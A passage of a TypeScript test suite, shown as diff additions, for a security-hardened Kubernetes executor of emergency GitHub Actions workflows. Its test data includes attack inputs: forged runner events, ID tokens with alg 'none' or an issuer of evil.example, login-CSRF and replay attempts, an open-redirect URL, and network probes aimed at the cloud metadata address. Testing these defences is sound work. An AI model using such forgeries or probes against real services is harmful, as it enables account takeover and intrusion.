egress mode is refused unless enabled and proven', async () => { + const { call, boundDemo } = await setup(); + const id = await boundDemo(); + expect((await call("POST", "executions", run(id, { network: "github-blocked" }))).body.details.join()).toMatch(/was removed: it blocked only GitHub's hostnames and was not isolated/); + expect((await call("POST", "executions", run(id, { network: "egress" }))).body.details.join()).toMatch(/Egress mode is disabled/); + + const enabled = await setup({ allowEgress: true, egress: { state: "not-enforced", reason: "reached kubernetes-api", results: [] } }); + const id2 = await enabled.boundDemo(); + const refused = await enabled.call("POST", "executions", run(id2, { network: "egress" })); + expect(refused.status).toBe(409); + expect(refused.body.details).toEqual(["reached kubernetes-api"]); + + const proven = await setup({ allowEgress: true, egress: { state: "enforced", results: [] } }); + const id3 = await proven.boundDemo(); + const ok = await proven.call("POST", "executions", run(id3, { network: "egress" })); + expect(ok.status).toBe(201); + const pod = ([...proven.jobs.values()][0]!.spec as any).spec.template; + expect(pod.metadata.labels[NETWORK_LABEL]).toBe("egress"); + expect(pod.spec.dnsPolicy).toBeUndefined(); + }); +}); + +// Security review H4. The policy itself is enforced by the API server; tools/emergency/admission-check.ts tests it +// against a real one. Here: the executor refuses to run until the API server has proven it enforces the policy. +describe("security review H4: admission enforcement gate", () => { + for (const state of ["not-enforced", "unverified", "never"] as const) { + it(`refuses executions when the admission check is ${state}, before any canary or Job`, async () => { + const { call, jobs, boundDemo, net } = await setup({ admission: state }); + const id = await boundDemo(); + const r = await call("POST", "executions", run(id)); + expect(r.status).toBe(409); + expect(r.body.error).toMatch(/does not enforce the runner admission policy/); + expect(r.body.details).toEqual([`stub admission: ${state}`]); + expect(jobs.size).toBe(0); + expect(net.calls.ensureFresh).toBe(0); + }); + } + + it("re-checks before every execution, and reports its state to operators only", async () => { + const { call, adm, boundDemo } = await setup(); + const id = await boundDemo(); + await call("POST", "executions", run(id)); + await call("POST", "executions", run(id)); + expect(adm.calls.ensureFresh).toBe(2); + expect((await call("GET", "admission-check", undefined, null)).status).toBe(401); + expect((await call("GET", "admission-check")).body).toMatchObject({ state: "enforced" }); + }); +}); + +const POLICY = "gha-emergency-runner-jobs.gha-emergency"; +const admissionConfig = { namespace: "gha-emergency", runnerImage: `runner@sha256:${"a".repeat(64)}`, runnerServiceAccount: "gha-emergency-runner", executorPodLabels: { app: "executor" }, policyName: POLICY, maxAgeMs: 900_000, retryMs: 30_000 }; +const hasHostPath = (job: object) => ((job as any).spec.template.spec.volumes as any[]).some((v) => v.hostPath); + +/** An API server that answers dry runs as scripted; every real create is recorded (there must be none). */ +function admissionKube(answer: (job: object) => Error | undefined) { + const created: object[] = []; + const dryRuns: object[] = []; + const kube: KubeApi = { + async createJob(job, options) { + if (!options?.dryRun) { + created.push(job); + return; + } + dryRuns.push(job); + const error = answer(job); + if (error) throw error; + }, + getJob: async () => undefined, + deleteJob: async () => {}, + listPods: async () => [], + podLog: async () => "", + podWarnings: async () => [], + }; + return { kube, created, dryRuns }; +} +const policyDenial = () => new KubeError(403, `Kubernetes API POST /apis/batch/v1/namespaces/gha-emergency/jobs returned 403: jobs.batch "x" is forbidden: ValidatingAdmissionPolicy '${POLICY}' with binding '${POLICY}' denied request: volumes are limited to ...`); + +describe("security review H4: the executor's admission check", () => { + it("the two probes differ only by the hostPath volume, and are otherwise a legitimate canary", () => { + const { accepted, denied } = admissionProbes(admissionConfig, "abcd1234"); + const strip = (j: any) => ({ ...j, metadata: { ...j.metadata, name: "" }, spec: { ...j.spec, template: { ...j.spec.template, spec: { ...j.spec.template.spec, volumes: j.spec.template.spec.volumes.filter((v: any) => !v.hostPath) } } } }); + expect(strip(denied)).toEqual(strip(accepted)); + expect(hasHostPath(denied)).toBe(true); + expect(hasHostPath(accepted)).toBe(false); + expect(accepted.spec.template.metadata.labels).toMatchObject(RUNNER_POD_LABELS); + }); + + it('"enforced" only when the policy refuses the hostPath probe and the API server accepts the legitimate one, all as dry runs', async () => { + const k = admissionKube((job) => (hasHostPath(job) ? policyDenial() : undefined)); + const r = await createAdmissionCheck({ kube: k.kube, config: admissionConfig, now: () => NOW }).run(); + expect(r).toMatchObject({ state: "enforced", checkedAt: NOW.toISOString() }); + expect(k.dryRuns).toHaveLength(2); + expect(k.created).toHaveLength(0); + }); + + it('"not-enforced" when the API server accepts the hostPath probe (policy missing, unbound, or another namespace)', async () => { + const k = admissionKube(() => undefined); + const r = await createAdmissionCheck({ kube: k.kube, config: admissionConfig }).run(); + expect(r.state).toBe("not-enforced"); + expect(r.reason).toMatch(/accepted a runner Job with a hostPath volume/); + }); + + it('"unverified" when something other than the policy refuses the probe, or the legitimate Job is refused too', async () => { + const other = admissionKube((job) => (hasHostPath(job) ? new KubeError(403, 'jobs.batch is forbidden: User "x" cannot create resource "jobs"') : undefined)); + expect((await createAdmissionCheck({ kube: other.kube, config: admissionConfig }).run()).state).toBe("unverified"); + const otherPolicy = admissionKube((job) => (hasHostPath(job) ? new KubeError(403, "ValidatingAdmissionPolicy 'someone-else' with binding 'b' denied request") : undefined)); + expect((await createAdmissionCheck({ kube: otherPolicy.kube, config: admissionConfig }).run()).state).toBe("unverified"); + // The policy refuses everything when the namespace isn't dedicated and restricted. + const all = admissionKube(() => policyDenial()); + const r = await createAdmissionCheck({ kube: all.kube, config: admissionConfig }).run(); + expect(r.state).toBe("unverified"); + expect(r.reason).toMatch(/refused a legitimate runner Job/); + const down = admissionKube(() => new Error("connect ECONNREFUSED")); + expect((await createAdmissionCheck({ kube: down.kube, config: admissionConfig }).run()).state).toBe("unverified"); + }); + + it("reuses an enforced result for maxAgeMs and any other result only for retryMs", async () => { + let t = NOW.getTime(); + let enforce = false; + const k = admissionKube((job) => (enforce && hasHostPath(job) ? policyDenial() : undefined)); + const check = createAdmissionCheck({ kube: k.kube, config: { ...admissionConfig, maxAgeMs: 60_000, retryMs: 5_000 }, now: () => new Date(t) }); + expect((await check.ensureFresh()).state).toBe("not-enforced"); + enforce = true; + t += 4_000; + expect((await check.ensureFresh()).state).toBe("not-enforced"); + t += 2_000; + expect((await check.ensureFresh()).state).toBe("enforced"); + enforce = false; + t += 59_000; + expect((await check.ensureFresh()).state).toBe("enforced"); + t += 2_000; + expect((await check.ensureFresh()).state).toBe("not-enforced"); + }); +}); + +/** A cluster for the canary: the probe and control pods "connect" according to the scenario. */ +function canaryCluster(scenario: (role: string, target: CanaryTarget) => boolean, opts: { probeNeverFinishes?: boolean; garbleControl?: boolean } = {}) { + let current = scenario; + const jobs = new Map(); + const created: any[] = []; + const deleted: string[] = []; + const kube: KubeApi = { + async createJob(job: any) { + created.push(job); + jobs.set(job.metadata.name, { spec: job, done: !(opts.probeNeverFinishes && job.metadata.name.endsWith("probe-isolated")) }); + }, + async getJob(name) { + const j = jobs.get(name); + return j ? { metadata: { name }, status: j.done ? { succeeded: 1 } : { active: 1 } } : undefined; + }, + async deleteJob(name) { + deleted.push(name); + }, + async listPods() { + return [...jobs.keys()].map((name) => ({ metadata: { name: `${name}-x1` }, status: { phase: "Succeeded" } })); + }, + async podLog(pod) { + const job = jobs.get(pod.replace(/-x1$/, ""))!.spec; + const role = job.metadata.name.replace(/^gha-emergency-canary-[0-9a-f]+-/, ""); + if (opts.garbleControl && role === "control") return "not canary output"; + const targets = JSON.parse(job.spec.template.spec.containers[0].env[0].value) as CanaryTarget[]; + return targets.map((t) => `${CANARY_PREFIX}${JSON.stringify({ ...t, reachable: current(role, t), detail: "test" })}`).join("\n"); + }, + async podWarnings() { + return []; + }, + }; + let t = NOW.getTime(); + const checker = createNetworkCheck({ + kube, + now: () => new Date(t), + sleep: async (ms) => { + t += ms; + }, + config: { + namespace: "ns", + runnerImage: "runner:test", + runnerServiceAccount: "runner", + executorPodLabels: { app: "executor" }, + externalTarget: { host: "1.1.1.1", port: 443 }, + apiServer: { host: "10.96.0.1", port: 443 }, + metadataTarget: { host: "169.254.169.254", port: 80 }, + internalService: async () => ({ host: "10.96.12.34", port: 8080 }), + egressEnabled: true, + maxAgeMs: 15 * 60_000, + retryMs: 30_000, + timeoutMs: 90_000, + pollMs: 2_000, + }, + }); + return { checker, created, deleted, advance: (ms: number) => (t += ms), setScenario: (s: typeof scenario) => (current = s) }; +} + +describe("security review C2: the network canary", () => { + it("proves enforcement only when the probe reaches nothing and the control reaches the internal service", async () => { + const c = canaryCluster((role) => role === "control"); + const r = await c.checker.run(); + expect(r.state).toBe("enforced"); + expect(r.isolated.map((x) => x.name).sort()).toEqual(["cloud-metadata", "external-ip", "internal-service", "kubernetes-api"]); + expect(r.egress?.state).toBe("enforced"); + expect(c.deleted.length).toBe(3); + }); + + it("the original C2 attack (direct IP, internal service, API server) is detected as not enforced", async () => { + // kindnet on minikube: every pod reaches everything. + const c = canaryCluster(() => true); + const r = await c.checker.run(); + expect(r.state).toBe("not-enforced"); + expect(r.reason).toMatch(/external-ip \(1\.1\.1\.1:443\).*kubernetes-api \(10\.96\.0\.1:443\).*cloud-metadata.*internal-service \(10\.96\.12\.34:8080\)/); + expect(r.egress?.state).toBe("not-enforced"); + }); + + it("one leak is enough: a probe that reaches only the metadata address is not enforced", async () => { + const c = canaryCluster((role, t) => role === "control" || t.name === "cloud-metadata"); + expect((await c.checker.run()).state).toBe("not-enforced"); + }); + + it("a broken network proves nothing: if the control can't reach the internal service, the result is unverified", async () => { + const c = canaryCluster(() => false); + const r = await c.checker.run(); + expect(r.state).toBe("unverified"); + expect(r.reason).toMatch(/control pod could not reach the internal service/); + }); + + it("canaries that don't finish or report garbage are unverified, never enforced", async () => { + expect((await canaryCluster((role) => role === "control", { probeNeverFinishes: true }).checker.run()).reason).toMatch(/probe-isolated canary did not finish/); + expect((await canaryCluster((role) => role === "control", { garbleControl: true }).checker.run()).state).toBe("unverified"); + }); + + it("probes carry exactly an execution's labels, network settings and pod security; the control does not", async () => { + const c = canaryCluster((role) => role === "control"); + await c.checker.run(); + const byRole = (r: string) => c.created.find((j) => j.metadata.name.endsWith(r)); + const probe = byRole("probe-isolated").spec.template; + const exec = buildJob({ ...jobInput, network: "isolated" }).spec.template; + expect(probe.metadata.labels).toMatchObject({ ...RUNNER_POD_LABELS, [NETWORK_LABEL]: "isolated" }); + for (const k of ["hostAliases", "dnsPolicy", "dnsConfig", "securityContext", "automountServiceAccountToken", "enableServiceLinks"] as const) expect(probe.spec[k]).toEqual((exec.spec as any)[k]); + expect(probe.spec.containers[0].securityContext).toEqual(exec.spec.containers[0]!.securityContext); + const control = byRole("control").spec.template; + expect(control.metadata.labels["app.kubernetes.io/name"]).toBe("gha-emergency-canary-control"); + expect(control.spec.dnsPolicy).toBeUndefined(); + expect(byRole("probe-egress").spec.template.metadata.labels[NETWORK_LABEL]).toBe("egress"); + }); + + it("reuses a failed result only briefly: a startup race (control not yet reachable) clears on the next execution after 30 s", async () => { + // Seen live on gha-sec: the first check ran before the executor was ready, so the control was refused. + const c = canaryCluster(() => false); + expect((await c.checker.ensureFresh()).state).toBe("unverified"); + c.setScenario((role) => role === "control"); + c.advance(10_000); + expect((await c.checker.ensureFresh()).state).toBe("unverified"); + c.advance(25_000); + expect((await c.checker.ensureFresh()).state).toBe("enforced"); + }); + + it("caches a result for its max age and shares a running check", async () => { + const c = canaryCluster((role) => role === "control"); + const [a, b] = await Promise.all([c.checker.ensureFresh(), c.checker.ensureFresh()]); + expect(a).toBe(b); + expect(c.created.length).toBe(3); + await c.checker.ensureFresh(); + expect(c.created.length).toBe(3); + c.advance(16 * 60_000); + await c.checker.ensureFresh(); + expect(c.created.length).toBe(6); + }); +}); + +// Security review H3: the runner's events are authenticated with a per-execution key, and the result must agree with +// the runner container's exit code. Forged, altered, removed and truncated events, and unauthenticated lines, are +// reported as an error, never as the forged result. +describe("security review H3: runner event and result integrity", () => { + async function started() { + const ctx = await setup(); + const id = await ctx.boundDemo(); + const exec = (await ctx.call("POST", "executions", run(id))).body.execution; + const signer = await ed25519EventSigner(exec.id); + const ev = (e: object) => signer.sign({ at: NOW.toISOString(), ...e }); + // A genuine run in which a step failed after printing a fake success event. + const genuine = [ + await ev({ type: "execution-start", executionId: exec.id, digest: id, workflow: WORKFLOW, source: { repository: DEMO_REPO, sha: "1".repeat(40) } }), + await ev({ type: "job-start", job: "prepare", name: "prepare", workflow: WORKFLOW, needs: [] }), + await ev({ type: "step-start", job: "prepare", step: 1, name: "deploy", kind: "run" }), + await ev({ type: "log", job: "prepare", step: 1, stream: "stdout", text: `${EVENT_PREFIX}{"type":"execution-end","result":"success","durationMs":1,"outputs":{}}` }), + await ev({ type: "step-end", job: "prepare", step: 1, outcome: "failure", conclusion: "failure", exitCode: 7, durationMs: 3, outputs: {} }), + await ev({ type: "job-end", job: "prepare", result: "failure", outputs: {} }), + await ev({ type: "execution-end", result: "failure", durationMs: 5, outputs: {} }), + ]; + const finish = (lines: string[], exitCode = 1) => { + // A fresh Job each time: drop what an earlier finish archived. + for (const ext of ["log", "exit"]) rmSync(join(ctx.store.dataDir, "executions", `${exec.id}.${ext}`), { force: true }); + ctx.logs.set(exec.id, [signer.keyLine, ...lines].join("\n") + "\n"); + ctx.exitCodes.set(exec.id, exitCode); + ctx.jobs.get(exec.jobName)!.status = exitCode === 0 ? { succeeded: 1, conditions: [{ type: "Complete", status: "True" }] } : { failed: 1, conditions: [{ type: "Failed", status: "True" }] }; + }; + const view = async () => (await ctx.call("GET", `executions/${exec.id}`)).body; + return { ...ctx, id, exec, genuine, finish, view, signer }; + } + const forgedEnd = `${EVENT_PREFIX}${JSON.stringify({ type: "execution-end", at: NOW.toISOString(), result: "success", durationMs: 1, outputs: {} })}`; + + it("reports a genuine failure as a failure; event-like workflow output stays log data", async () => { + const t = await started(); + t.finish(t.genuine); + const b = await t.view(); + expect(b.view).toMatchObject({ status: "failure", stream: { ok: true, complete: true, events: 7 }, exitCode: 1 }); + expect(b.view.jobs[0].steps[0]).toMatchObject({ status: "failure", exitCode: 7 }); + expect(b.view.logs.find((l: { stream: string }) => l.stream === "stdout").text).toContain('"result":"success"'); + }); + + it("refuses an unauthenticated fake success event, in the old format or with a made-up MAC", async () => { + const t = await started(); + t.finish([...t.genuine.slice(0, -1), forgedEnd], 0); + expect((await t.view()).view).toMatchObject({ status: "error", stream: { ok: false }, reason: expect.stringMatching(/not a runner event/) }); + const fakeMac = `${EVENT_PREFIX}${"a".repeat(128)} ${JSON.stringify({ type: "execution-end", at: NOW.toISOString(), result: "success", durationMs: 1, outputs: {}, seq: 6 })}`; + t.finish([...t.genuine.slice(0, -1), fakeMac], 0); + expect((await t.view()).view).toMatchObject({ status: "error", reason: expect.stringMatching(/Event 6 is not authentic/) }); + }); + + it("refuses a fake successful step and job completion signed with another key", async () => { + const t = await started(); + const otherSigner = await ed25519EventSigner(t.exec.id); + const other = otherSigner.sign; + for (let i = 0; i < 4; i++) await other({}); + const lines = [ + ...t.genuine.slice(0, 4), + await other({ type: "step-end", at: NOW.toISOString(), job: "prepare", step: 1, outcome: "success", conclusion: "success", exitCode: 0, durationMs: 1, outputs: {} }), + await other({ type: "job-end", at: NOW.toISOString(), job: "prepare", result: "success", outputs: {} }), + ]; + t.finish(lines, 0); + const v = (await t.view()).view; + expect(v).toMatchObject({ status: "error", stream: { ok: false, events: 4 } }); + expect(v.jobs[0].status).toBe("running"); + }); + + it("refuses removed, modified, reordered or truncated events", async () => { + const t = await started(); + t.finish(t.genuine.filter((_, i) => i !== 4)); + expect((await t.view()).view).toMatchObject({ status: "error", reason: expect.stringMatching(/not authentic/) }); + const modified = t.genuine.map((l, i) => (i === 4 ? l.replace('"outcome":"failure","conclusion":"failure","exitCode":7', '"outcome":"success","conclusion":"success","exitCode":0') : l)); + expect(modified[4]).not.toBe(t.genuine[4]); + t.finish(modified); + expect((await t.view()).view).toMatchObject({ status: "error", reason: expect.stringMatching(/Event 4 is not authentic/) }); + t.finish([t.genuine[0]!, t.genuine[2]!, t.genuine[1]!, ...t.genuine.slice(3)]); + expect((await t.view()).view.status).toBe("error"); + t.finish(t.genuine.slice(0, 4)); + expect((await t.view()).view).toMatchObject({ status: "error", reason: expect.stringMatching(/incomplete/) }); + // Lost from the start, as by log rotation: the first line is a later event. + t.finish(t.genuine.slice(2)); + expect((await t.view()).view.status).toBe("error"); + }); + + it("cross-checks the runner's result against its container's exit code", async () => { + const t = await started(); + t.finish(t.genuine, 0); + expect((await t.view()).view).toMatchObject({ status: "error", reason: "The runner reported failure, but its container exited with code 0" }); + }); + + it("archives the exit code with the log, so the checks still apply after the Job is gone", async () => { + const t = await started(); + t.finish(t.genuine, 0); + await t.view(); + t.jobs.clear(); + expect(await t.view()).toMatchObject({ job: { state: "succeeded" }, view: { status: "error", exitCode: 0, stream: { ok: true } } }); + t.store.archiveLog(t.exec.id, [t.signer.keyLine, ...t.genuine.slice(0, -1), forgedEnd].join("\n"), 0); + expect((await t.view()).view.status).toBe("error"); + }); + + it("has no key to steal: nothing in the Job, the executor's records or the API can sign events (review H2)", async () => { + const t = await started(); + const env = (t.jobs.get(t.exec.jobName)!.spec as any).spec.template.spec.containers[0].env as { name: string }[]; + expect(env.map((e) => e.name)).not.toContain("GHA_EMERGENCY_EVENT_KEY"); + expect(t.store.eventKey(t.exec.id)).toBeUndefined(); + expect(readdirSync(join(t.store.dataDir, "executions")).filter((f) => f.endsWith(".key"))).toEqual([]); + expect(t.store.getExecution(t.exec.id)!.eventAuth).toBe("ed25519"); + // A log that does not begin with this execution's own key line is not believed. + t.finish(t.genuine); + t.logs.set(t.exec.id, t.genuine.join("\n")); + expect((await t.view()).view).toMatchObject({ status: "error", reason: expect.stringMatching(/does not begin with its public key/) }); + }); + + it("still verifies executions recorded under H3 with the key the executor kept, and reads older ones as unverifiable", async () => { + const t = await started(); + // As recorded between H3 and H2: an executor-generated key in .key, HMAC-chained events, no eventAuth. + const key = "0123456789abcdef".repeat(4); + writeFileSync(join(t.store.dataDir, "executions", `${t.exec.id}.key`), key); + t.store.saveExecution({ ...t.store.getExecution(t.exec.id)!, eventAuth: undefined }); + const sign = await eventSigner(key); + const h3: string[] = []; + for (const e of [{ type: "execution-start", executionId: t.exec.id, digest: t.id, workflow: WORKFLOW, source: { repository: DEMO_REPO, sha: "1".repeat(40) } }, { type: "execution-end", result: "success", durationMs: 5, outputs: {} }]) h3.push(await sign({ at: NOW.toISOString(), ...e })); + t.store.archiveLog(t.exec.id, h3.join("\n"), 0); + expect((await t.view()).view).toMatchObject({ status: "success", stream: { ok: true } }); + expect(JSON.stringify(await t.view())).not.toContain(key); + rmSync(join(t.store.dataDir, "executions", `${t.exec.id}.key`)); + const legacy = [ + { type: "execution-start", executionId: t.exec.id, digest: t.id, workflow: WORKFLOW, source: { repository: DEMO_REPO, sha: "1".repeat(40) } }, + { type: "execution-end", result: "success", durationMs: 5, outputs: {} }, + ].map((e) => `${EVENT_PREFIX}${JSON.stringify({ at: NOW.toISOString(), ...e })}`); + t.store.archiveLog(t.exec.id, legacy.join("\n"), 0); + expect((await t.view()).view).toMatchObject({ status: "success", stream: { ok: false, legacy: true, problem: expect.stringMatching(/not verifiable/) } }); + }); +}); + +const jobInput = { + executionId: "0123456789abcdef", + snapshotId: "a".repeat(64), + snapshotName: "demo", + snapshotVersion: 3, + workflow: WORKFLOW, + inputs: {}, + variables: {}, + secret: { name: "demo-secrets", keys: ["DEMO_SIGNING_KEY"] }, + network: "isolated" as const, + namespace: "ns", + runnerImage: "img", + pvcName: "pvc", + snapshotSubPath: `snapshots/${"a".repeat(64)}`, + serviceAccountName: "runner", + executorPodLabels: { app: "executor" }, + resources: { cpu: "500m", memory: "512Mi", scratch: "1Gi" }, + maxMinutes: 20, + ttlSecondsAfterFinished: 600, +}; + +describe("runner Job specification", () => { + const job = buildJob(jobInput); + const pod = job.spec.template.spec; + const c = pod.containers[0]!; + + it("starts the runner from the execute-only node without the SIGUSR1 inspector (review H3), and gives it no key (H2)", () => { + expect(c.command.slice(0, 2)).toEqual([RUNNER_NODE, "--disable-sigusr1"]); + expect(c.env.map((e) => e.name)).not.toContain("GHA_EMERGENCY_EVENT_KEY"); + }); + + it("has no Kubernetes API access and no retries, and is time- and resource-limited", () => { + expect(pod.automountServiceAccountToken).toBe(false); + expect(pod.serviceAccountName).toBe("runner"); + expect(pod.enableServiceLinks).toBe(false); + expect(job.spec.backoffLimit).toBe(0); + expect(job.spec.activeDeadlineSeconds).toBe(20 * 60 + 120); + expect(c.resources.limits).toEqual({ cpu: "500m", memory: "512Mi", "ephemeral-storage": "1Gi" }); + }); + + it("runs as non-root with a read-only root filesystem and no capabilities", () => { + expect(pod.securityContext).toMatchObject({ runAsNonRoot: true, runAsUser: 1000, seccompProfile: { type: "RuntimeDefault" } }); + expect(c.securityContext).toEqual({ allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, runAsNonRoot: true, capabilities: { drop: ["ALL"] } }); + }); + + it("is selected by the deny-all NetworkPolicy, and keeps name-based GitHub blocking as defence in depth", () => { + expect(job.spec.template.metadata.labels).toMatchObject({ ...RUNNER_POD_LABELS, [NETWORK_LABEL]: "isolated" }); + expect(pod.hostAliases).toEqual([{ ip: "127.0.0.1", hostnames: GITHUB_HOSTS }]); + expect(pod.dnsPolicy).toBe("None"); + }); + + it("carries no secret values and projects only the listed keys", () => { + expect(JSON.stringify(c.env)).not.toMatch(/secretKeyRef|DEMO_SIGNING_KEY/); + expect(c.volumeMounts).toContainEqual({ name: "secrets", mountPath: "/secrets", readOnly: true }); + expect((pod.volumes as any[]).find((v) => v.name === "secrets").secret.items).toEqual([{ key: "DEMO_SIGNING_KEY", path: "DEMO_SIGNING_KEY" }]); + }); + + it("canary Jobs are short-lived and as locked down as executions", () => { + const canary = buildCanaryJob({ checkId: "abcd1234", role: "probe-isolated", targets: [], namespace: "ns", runnerImage: "img", serviceAccountName: "runner", executorPodLabels: { app: "executor" } }); + expect(canary.spec).toMatchObject({ backoffLimit: 0, activeDeadlineSeconds: 120, ttlSecondsAfterFinished: 300 }); + expect(canary.spec.template.spec.automountServiceAccountToken).toBe(false); + expect(canary.spec.template.spec.containers[0]!.securityContext.readOnlyRootFilesystem).toBe(true); + }); +}); + +// ---- security review H2: authentication, authorization, approval, attribution -------------------------------------- + +const uid = (sub: string) => oidcUserId(ISS, sub); +const denials = (audit: Record[]) => audit.filter((a) => a.action === "authorization-denied"); + +describe("security review H2: authentication", () => { + it("refuses every sensitive operation without a session, and audits the refusal", async () => { + const { call, audit } = await setup(); + expect((await call("GET", "health", undefined, null)).body).toMatchObject({ available: true, signIn: { oidc: { label: expect.any(String) }, breakGlass: true } }); + const routes: [string, string][] = [ + ["GET", "snapshots"], ["POST", "snapshots"], ["GET", `snapshots/${"a".repeat(64)}`], ["POST", `snapshots/${"a".repeat(64)}/verify`], ["DELETE", `snapshots/${"a".repeat(64)}`], + ["GET", "executions"], ["POST", "executions"], ["GET", "executions/0123456789abcdef"], ["DELETE", "executions/0123456789abcdef"], ["POST", "executions/0123456789abcdef/approve"], ["POST", "executions/0123456789abcdef/start"], + ["GET", "network-check"], ["POST", "network-check"], ["GET", "admission-check"], ["POST", "admission-check"], + ["GET", "admin/users"], ["PUT", `admin/users/${uid("alice")}/roles`], ["POST", `admin/users/${uid("alice")}/disable`], ["POST", `admin/users/${uid("alice")}/revoke-sessions`], + ["GET", "admin/bindings"], ["PUT", "admin/bindings/release-demo"], ["GET", "admin/audit"], ["GET", "auth/session"], ["POST", "auth/logout"], + ]; + for (const [method, path] of routes) expect([method, path, (await call(method, path, {}, null)).status]).toEqual([method, path, 401]); + expect(denials(audit)).toHaveLength(routes.length); + expect(denials(audit)[0]).toMatchObject({ by: null, reason: expect.stringMatching(/No valid session/) }); + }); + + it("refuses the old shared operator token, and API calls without the page's CSRF header", async () => { + const { call } = await setup(); + const bearer = await call("GET", "snapshots", undefined, "alice", { authorization: "Bearer operator-token-for-tests-0123456789abcdef" }); + expect(bearer).toMatchObject({ status: 401, body: { error: expect.stringMatching(/shared operator token no longer authorizes/) } }); + expect((await call("GET", "snapshots", undefined, "alice", { "x-gha-emergency": "" })).status).toBe(403); + expect((await call("GET", "snapshots")).status).toBe(200); + }); + + it("signs in with the authorization code flow and PKCE, into an HttpOnly, Secure, SameSite=Strict session cookie", async () => { + const { api, call } = await setup(); + const login = await api({ method: "GET", path: "auth/login", query: new URLSearchParams({ return: "#/emergency/executions/0123456789abcdef" }), headers: {} }); + expect(login.status).toBe(302); + const to = new URL(String(login.headers!.Location)); + expect(Object.fromEntries(to.searchParams)).toMatchObject({ response_type: "code", client_id: CLIENT, redirect_uri: REDIRECT, code_challenge_method: "S256", scope: "openid profile email" }); + expect([login.headers!["Set-Cookie"]].flat()[0]).toMatch(/^__Host-gha-emergency-login=[A-Za-z0-9_-]{43}; Path=\/; Secure; HttpOnly; SameSite=Lax; Max-Age=600$/); + const binding = setCookie(login, LOGIN_COOKIE)!; + const back = await api({ method: "GET", path: "auth/callback", query: await IDP.authorize(to.toString(), "alice"), headers: { cookie: `${LOGIN_COOKIE}=${binding}` } }); + expect(back.headers!.Location).toBe("/#/emergency/executions/0123456789abcdef"); + const session = [back.headers!["Set-Cookie"]].flat().find((c) => c?.startsWith(SESSION_COOKIE)); + expect(session).toMatch(/^__Host-gha-emergency-session=[A-Za-z0-9_-]{43}; Path=\/; Secure; HttpOnly; SameSite=Strict; Max-Age=28800$/); + // The executor exchanged the code itself, with the PKCE verifier; the browser never saw a token. + expect(new URLSearchParams(IDP.tokenRequests.at(-1)!.body).get("code_verifier")).toMatch(/^[A-Za-z0-9_-]{64}$/); + const me = (await call("GET", "auth/session")).body; + expect(me).toMatchObject({ user: { id: uid("alice"), name: "alice", issuer: ISS, subject: "alice" }, roles: ["operator"], session: { method: "oidc" } }); + expect(JSON.stringify(me)).not.toMatch(/id_token|access_token|eyJ/); + }); + + const badTokens: [string, Parameters[0], RegExp][] = [ + ["signed with a key the provider doesn't publish", { foreignKey: true }, /signature is not valid/], + ['algorithm "none"', { alg: "none" }, /algorithm "none" is not allowed/], + ["HMAC with a guessable secret", { alg: "HS256" }, /algorithm "HS256" is not allowed/], + ["for another application (audience)", { claims: { aud: "another-app" } }, /not for this application/], + ["from another issuer", { claims: { iss: "https://evil.example" } }, /issued by "https:\/\/evil.example"/], + ["expired", { claims: { exp: Math.floor(NOW.getTime() / 1000) - 3600 } }, /expired/], + ["issued in the future", { claims: { iat: Math.floor(NOW.getTime() / 1000) + 3600, exp: Math.floor(NOW.getTime() / 1000) + 7200 } }, /issued in the future/], + ["for another sign-in (nonce)", { claims: { nonce: "someone-elses" } }, /nonce does not match/], + ["without a subject", { claims: { sub: "" } }, /no valid subject/], + ["with several audiences and another authorized party", { claims: { aud: [CLIENT, "other"], azp: "other" } }, /authorized party/], + ]; + for (const [what, tamper, reason] of badTokens) { + it(`refuses an ID token ${what}`, async () => { + const { api, audit } = await setup(); + const login = await api({ method: "GET", path: "auth/login", headers: {} }); + const query = await IDP.authorize(String(login.headers!.Location), "alice"); + IDP.tamper(tamper); + const back = await api({ method: "GET", path: "auth/callback", query, headers: { cookie: `${LOGIN_COOKIE}=${setCookie(login, LOGIN_COOKIE)}` } }); + expect(back.headers!.Location).toBe("/#/emergency/sign-in-failed"); + expect(setCookie(back, SESSION_COOKIE)).toBeUndefined(); + expect(audit.at(-1)).toMatchObject({ action: "sign-in-failed", reason: expect.stringMatching(reason) }); + }); + } + + it("refuses a callback that isn't this browser's sign-in, a replayed code, and a provider error", async () => { + const { api } = await setup(); + const failed = (r: ApiResponse) => r.headers!.Location === "/#/emergency/sign-in-failed" && setCookie(r, SESSION_COOKIE) === undefined; + const a = await api({ method: "GET", path: "auth/login", headers: {} }); + const b = await api({ method: "GET", path: "auth/login", headers: {} }); + const qa = await IDP.authorize(String(a.headers!.Location), "alice"); + // No sign-in cookie (login CSRF: an attacker's code pushed into the victim's browser). + expect(failed(await api({ method: "GET", path: "auth/callback", query: qa, headers: {} }))).toBe(true); + // Another sign-in's cookie: the state doesn't match. + expect(failed(await api({ method: "GET", path: "auth/callback", query: qa, headers: { cookie: `${LOGIN_COOKIE}=${setCookie(b, LOGIN_COOKIE)}` } }))).toBe(true); + // The right cookie, used once; the same code and cookie again are refused. + const c = await api({ method: "GET", path: "auth/login", headers: {} }); + const qc = await IDP.authorize(String(c.headers!.Location), "alice"); + const cookie = `${LOGIN_COOKIE}=${setCookie(c, LOGIN_COOKIE)}`; + expect(failed(await api({ method: "GET", path: "auth/callback", query: qc, headers: { cookie } }))).toBe(false); + expect(failed(await api({ method: "GET", path: "auth/callback", query: qc, headers: { cookie } }))).toBe(true); + const d = await api({ method: "GET", path: "auth/login", headers: {} }); + const state = new URL(String(d.headers!.Location)).searchParams.get("state")!; + expect(failed(await api({ method: "GET", path: "auth/callback", query: new URLSearchParams({ state, error: "access_denied" }), headers: { cookie: `${LOGIN_COOKIE}=${setCookie(d, LOGIN_COOKIE)}` } }))).toBe(true); + // An open redirect through "return" is not possible. + const e = await api({ method: "GET", path: "auth/login", query: new URLSearchParams({ return: "https://evil.example/" }), headers: {} }); + const back = await api({ method: "GET", path: "auth/callback", query: await IDP.authorize(String(e.headers!.Location), "alice"), headers: { cookie: `${LOGIN_COOKIE}=${setCookie(e, LOGIN_COOKIE)}` } }); + expect(back.headers!.Location).toBe("/#/emergency"); + }); + + it("takes roles only from the executor's records: a forged role claim in the ID token grants nothing", async () => { + const { api, call, audit } = await setup(); + const login = await api({ method: "GET", path: "auth/login", headers: {} }); + const query = await IDP.authorize(String(login.headers!.Location), "mallory"); + IDP.tamper({ claims: { roles: ["administrator"], groups: ["gha-emergency-administrators"], "https://gha/roles": ["approver"] } }); + const back = await api({ method: "GET", path: "auth/callback", query, headers: { cookie: `${LOGIN_COOKIE}=${setCookie(login, LOGIN_COOKIE)}` } }); + const cookie = 